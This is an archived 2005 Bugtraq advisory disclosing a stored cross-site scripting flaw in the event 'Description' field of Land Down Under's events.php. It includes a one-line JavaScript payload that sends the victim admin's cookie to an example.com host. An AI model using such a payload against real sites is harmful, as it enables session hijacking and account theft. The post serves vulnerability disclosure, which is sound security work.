bugtraq - Land Down Under 'events.php' Cross Site Scripting Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 5 Sep 2005 20:11:45 -0000
From: conor.e.buckley@...il.com
To: bugtraq@...urityfocus.com
Subject: Land Down Under 'events.php' Cross Site Scripting Vulnerability

In Land Down Under (LDU http://www.neocrome.net/), the target script "events.php?m=add" is vulnerable to XSS.

When submitting an event, the "Description" field is vulnerable to HTML injection.  Any user logged in can submit an event but an admin must approve of the event before being publicly viewed.  Using javascript, an admin's cookie can be stolen.

Exploit:
Description:
<script>document.location="http://example.com/script?cookie="+escape(document.cookie)</script>

LDU 801 and earlier are vulnerable.

--------------------------------
conor.e.buckley@...il.com
http://quixote.at.preempted.net